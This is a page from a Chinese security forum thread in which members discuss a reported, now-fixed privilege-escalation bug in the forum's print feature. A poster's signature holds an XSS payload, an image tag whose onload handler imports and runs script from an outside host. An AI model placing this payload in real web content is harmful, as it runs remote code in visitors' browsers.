白帽子安全
厂商漏洞预警
业内新闻动态
安全研究
开源工具分享
技术交流讨论
原创文章发布
AI与区块链安全研究
程序代码学习
WEB代码审计
0day漏洞分析
渗透测试文章
Linux/无线/终端 安全
反病毒/逆向/免杀 二进制
安全检测工具
社会工程交流
夺旗赛研究
甲方文档资料
开源CMS源码
加密破解及悬赏
非安全交流
AI应用交流
VPS服务器讨论
区块链币圈交流
手机卡信用卡
域名外贸跨境
电子产品交流
非技术交流
八卦水区
论坛事务
人才招聘
登录
注册
导航
×
首页
白帽子安全
厂商漏洞预警
(2523)
业内新闻动态
(5913)
安全研究
开源工具分享
(187)
技术交流讨论
(19779)
原创文章发布
(21)
AI与区块链安全研究
(29)
程序代码学习
(1042)
WEB代码审计
(1288)
0day漏洞分析
(34)
渗透测试文章
(5928)
Linux/无线/终端 安全
(248)
反病毒/逆向/免杀 二进制
(459)
安全检测工具
(1692)
社会工程交流
(125)
夺旗赛研究
(337)
甲方文档资料
(109)
开源CMS源码
(38)
加密破解及悬赏
(1950)
非安全交流
AI应用交流
(22)
VPS服务器讨论
(46)
区块链币圈交流
(25)
手机卡信用卡
(8)
域名外贸跨境
(10)
电子产品交流
(44)
非技术交流
八卦水区
(6419)
论坛事务
(1663)
人才招聘
(38)
T00ls
»
论坛事务(Forum Affairs)
[
【Bugs反馈】
]
跪求吐司管理联系,发现论坛存在一处越权漏洞(已修复)
SuNu11
2019-12-13 16:30
2960
55
好帖, 支持TA
取消
很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则
Reason:
确认要报废此ID!
取消
鲁人甲007
UID:6993
版主
积分:2004
TCV:2
TuBi:4764
坛龄:11年263天
活跃
5级
2019-12-15
#31
回复
8#
t00ls管理团队01
管理,我比较好奇这是什么原理呀。。打印功能按理说时前端的,只是调用了系统的功能实现打印,这怎么牵扯到后端了,难道是伪后端。。。
S3L3CT
UID:7378
注册会员
积分:336
TCV:0
TuBi:171
坛龄:11年零46天
活跃
1级
2019-12-15
#32
大哥 你倒是说说什么bug呀
SuNu11
UID:8441
版主
楼主
积分:330
TCV:2
TuBi:904
坛龄:10年116天
活跃
5级
2019-12-15
#33
@S3L3CT
???老哥,你还没看懂?你确定仔细看了?我说的不够明白?
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
xlxxlx
UID:13221
僵尸会员
积分:28
TCV:0
TuBi:67
坛龄:7年零17天
2019-12-16
#34
hh可能之前就已经被发现了
afeng
UID:6141
僵尸会员
积分:360
TCV:0
TuBi:43
坛龄:13年296天
活跃
1级
2019-12-16
#35
这是吐司的漏洞还是discuz的?
不忘初心,砥砺前行。
SuNu11
UID:8441
版主
楼主
积分:330
TCV:2
TuBi:904
坛龄:10年116天
活跃
5级
2019-12-16
#36
回复
35#
afeng
吐司,,,
迷途菜鸟
UID:13063
僵尸会员
积分:34
TCV:1
TuBi:134
坛龄:7年零73天
2019-12-16
#37
楼主不都已经截图明示了吗,打印,然后看仔细看网址
华夏小黑
UID:10615
潜水会员
积分:186
TCV:0
TuBi:202
坛龄:10年103天
2019-12-16
#38
其他的论坛也可能
天道酬勤
谭一一一
UID:12074
僵尸会员
积分:261
TCV:0
TuBi:5
坛龄:8年258天
2019-12-16
#39
可以,细心的老哥
拓宽广度,钻研深度
Xiaoye
UID:11041
潜水会员
积分:149
TCV:0
TuBi:50
坛龄:9年319天
2019-12-16
#40
打印处越权?关注一下
 
1
2
3
4
5
6
下一页
打赏
×
TuBi 数量 (1~49)
1
5
10
20
49
评价理由
确认
取消
帖子评分
×
撤销评分
×
SuNu11
版主
楼主
35
主题
831
帖子
904
TuBi
TA的主页
私信TA
返回版块
社区首页
本版最新
🎁🎁🎁【活动公告】测试新版App,送复活码——潜水与僵尸会员免费复活
致敬成年礼,T00ls浓重推出18周年宣传视频,并发布历史最大更新
# T00ls总规则 V3.2(2026年11月更新)
建议给新版加个功能(已处理)
T00ls 邮箱换绑逻辑存在缺陷,存在 CSRF/XSS等漏洞 联动账号接管风险(已修复)
用户组咨询(已答复)
积分被清0从【注册会员】变成【新手上路】(已修复)
不知道为什么成为新手上路了(已修复)
【友情推荐】告别纸上谈兵!这本红蓝对抗教程,打通网安实战全链路
新版本T00ls手机端App更新日志(2026-11-04更新)
求助师傅们,目前在学二进制,跟着导师方向在做虚拟化想往固件安全方面发展,有没有建议
当使用【在新标签页中打开网址】的时候,转入[主题列表] 的网址不正确,多了1对双引号和\右斜杠(已修复)
论坛的消息提醒和图片存在 bug(已修复)